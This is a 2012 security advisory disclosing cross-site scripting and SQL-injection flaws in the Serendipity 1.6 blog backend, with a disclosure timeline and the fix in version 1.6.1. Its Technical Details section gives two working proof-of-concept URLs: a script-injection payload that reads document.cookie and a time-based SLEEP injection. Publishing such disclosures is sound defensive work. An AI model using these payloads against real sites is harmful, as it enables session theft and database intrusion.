Advisory: Serendipity 1.6 Backend Cross-Site Scripting and SQL-Injection vulnerability
Advisory ID: KORAMIS-ADV2012-001
Contact: [email protected]
Author: Stefan Schurtz
Affected Software: Successfully tested on Serendipity 1.6
Vendor URL: http://www.s9y.org
Vendor Status: fixed

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Vulnerability Description:

The Serendipity backend is prone to a Cross-Site Scripting and SQL-Injection vulnerability.

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Technical Details:

// XSS
http://[target]/serendipity/serendipity_admin_image_selector.php?serendipity[textarea]='"</script><script>alert(document.cookie)</script>

// SQL-Injection
http://[target]/serendipity/serendipity_admin.php?serendipity[adminModule]=plugins&serendipity[plugin_to_conf]=-1' OR SLEEP(10)=0 LIMIT 1–+

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Solution:

Upgrade to version 1.6.1

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Disclosure Timeline:

21-Apr-2012 - informed developers
22-Apr-2012 - feedback from developer
08-May-2012 - fixed in version 1.6.1

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Credits:

Vulnerabilities found and advisory written by Stefan Schurtz (KORAMIS Security Team).

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References:

http://www.koramis.com/advisories/2012/KORAMIS-ADV2012-001.txt
http://blog.s9y.org/archives/240-Serendipity-1.6.1-released.html